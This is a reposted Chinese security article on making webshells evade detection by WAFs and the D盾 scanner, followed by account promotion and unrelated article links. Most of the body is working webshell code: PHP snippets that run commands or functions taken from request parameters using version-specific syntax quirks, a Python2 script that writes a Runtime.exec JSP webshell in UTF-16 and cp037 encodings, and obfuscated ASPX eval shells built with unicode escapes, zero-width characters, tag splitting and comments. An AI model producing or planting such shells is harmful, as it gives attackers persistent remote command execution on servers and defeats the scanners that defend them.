服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

几种实战成功过的webshell的免杀方式

日期: 来源:信安黑客技术收集编辑:


作者:Icepaper 原文地址:https://xz.aliyun.com/t/10937


php的免杀



传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。


一、利用在高版本php语法不换行来执行命令

<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>

5.2版本报错



5.3报错



5.4版本报错



7.3.4成功执行命令



3、利用\特殊符号来引起报错

<?php
\echo `whoami`;?>

5.3执行命令失败



7.3执行命令失败



5.2成功执行



3、十六进制字符串



在php7中不认为是数字,php5则依旧为数字
经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行


<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>

7.3 命令执行失败



5.2 命令执行失败



5.3 命令执行成功


除此之外,还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。
当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。
例如:
7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧


<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));

jsp免杀



本人对java研究的不是非常深入,因此主要分享的还是平时收集的几个小tips,如果有没看过的师傅现在看到了也是极好的,java unicode绕过就不再多言。


0、小小Tips


jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。
jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式


1、jspx CDATA特性


在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。
但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如
String cmd = request.getPar<![CDATA[ameter]]>("shell");
此时ameter依旧会与getPar拼接成为getParameter


2、实体化编码

if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();


这里实体化编码先知渲染体现不出来


3、利用java支持其他编码格式来进行绕过

#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)

f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))


f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))

fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')


可以看到对于D盾的免杀效果还是非常好的。


aspx的免杀



aspx免杀的方式相对于PHP和java的较少,这里列出5种方式来bypass进行免杀
1、unicode编码
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释
我们以一个普通的冰蝎马作为示例
<%@ Page Language="Jscript"%>eval(@Request.Item["pass"],"unsafe");%
这一步无需多言,一定是会被D盾所查杀的


1、unicode编码


例如eval他可以变为
\u0065\u0076\u0061\u006c


<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>


经过我本地的测试,在JScript的情况下它不支持大U和多个0的增加
而在c#的情况下,是可以支持的


2、空字符串连接

微信搜索公众号:Linux技术迷,回复:linux 领取资料 。

在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错
\u200c
\u200d
\u200e
\u200f


3、使用<%%>语法


将整个字符串与函数利用<%%>进行分割


<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>

4、头部免杀


之前有遇到过检测该字段的<%@ Page Language="C#" %>,这个是标识ASPX的一个字段,
针对该字段进行免杀%@Language=CSHARP% 很久之前修改为这样就过了
同样的,可以修改为
<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
也可以将该字段放在后面,不一定要放前面等


5、使用符号


如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析。


(Context.Session["payload"] == null)
(@Context.@Session["payload"] == null)



6、注释可以随意插入


如下所示为冰蝎部分代码


<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)


可以与<%%>结合使用效果会更好'



声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权


注:如有侵权请联系删除


END


读到这里说明你喜欢本公众号的文章,欢迎 置顶(标星)本公众号 Linux技术迷,这样就可以第一时间获取推送了~

在本公众号 Linux技术迷,后台回复:Linux,领取2T学习资料 !
1. Linux 中 find 命令的 35 个实际例子
2. 运维必备的《网络端口大全》,看这一份就够了
3. Linux 学习指南 (收藏篇)
4. 2万字系统总结,带你实现Linux命令自由

相关阅读

  • 美国空军,计划曝光

  • 当地时间13日,美国国防部公布了2024财年8420亿美元军费预算申请细节内容。美国“驱动”网站发现,美国空军在该财年预算中再次申请让32架block20版本的F-22战机退出现役。在202
  • HDFS EC在B站的实践

  • 本期作者陈世云哔哩哔哩资深开发工程师1.背景随着B站业务的高速发展,业务产生的数据每天以PB级的速度持续增长,之前主要应对方法是分析数据的使用频率,把数据分为热冷俩类数据,
  • 每日安全动态推送(3-14)

  • Tencent Security Xuanwu Lab Daily News• CVE-2023-23638: Apache Dubbo Deserialization Vulnerability Gadgets Bypass:https://seclists.org/oss-sec/2023/q1/133 ・
  • 这个 git 命令你每天都在用,但你却不知道

  • 我们每天都在敲 git clone、add、commit、push 这些命令,其实它们涉及到一个底层命令。这个命令你每天都在用,每天都能看到它的输出,但你却不知道你用到了这个命令。那这个命令
  • 卸载官方版,这些第三方特别版太棒了!

  • 兄弟们,今天分享的东西一定要偷偷用,不要到处传播,要不然大家都用不成,切记!!!有个有意思的东西可以先聊一聊,4G刚出来的时候,一个月100MB流量,64GB的内存妥妥地够用,那个时候的流量和
  • 动动嘴就能使唤Excel?我的童年梦想实现了!

  • Excel 一直都是很多差友们工作、学习时候的噩梦,世超清晰地记得那年被各种函数、图标应用、表格工具,折磨的痛不欲生的经历。那时候世超就觉得 Excel 是最反人类的办公软件,它
  • 又有一个大神对网盘下手了,还解锁了VIP功能

  • 有同学反馈收不到推送,请大家星标果核,第一时间接收推送。阿里云盘之前更换第三方接口,引起大家广泛关注,主要是担心无法再使用一些好用的第三方版本,但好在经过第三方版本的接口

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • 把爱因斯坦放在管理的位置,会怎样?

  • 1942年,爱因斯坦(1879年3月14日-1955年4月18日)在普林斯顿高等研究院的办公室。图源:Roman Vishniac,Flickr导读: 在世人眼中,爱因斯坦是一位不受拘束的天才,他以反抗权威著
  • 使用ChatGPT搭建微信聊天机器人

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试
  • FBI承认:未获授权购买居民位置数据

  • 在前几日美国参议院的听证会上,美国联邦调查局(FBI)首次承认,其曾在未获取搜查令的情况下购买美国居民的位置数据。自美国最高法院五年前限制政府无证跟踪美国人手机以来,购买居
  • 自然学科的尽头,是数学吗?

  • 3月14日是“国际数学日”,以庆祝“数学在我们日常生活中的美丽与重要”。这一天也被称为“π日”(Pi Day),因为“3.14”是圆周率数值最接近的数字。图源:Flickr自然学科的尽头是
  • 几种实战成功过的webshell的免杀方式

  • 作者:Icepaper 原文地址:https://xz.aliyun.com/t/10937php的免杀传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都
  • 越是无知的人,越自信

  • 作者 | 帆书 · 六月安夏主播 | 帆书 · 楚翘帆书君说:最近微信又双叒改版了,如果不星标⭐,很容易错过我们的推送。所以,喜欢读书君的书友,一定不要忘记星标⭐我们,及时接收每日新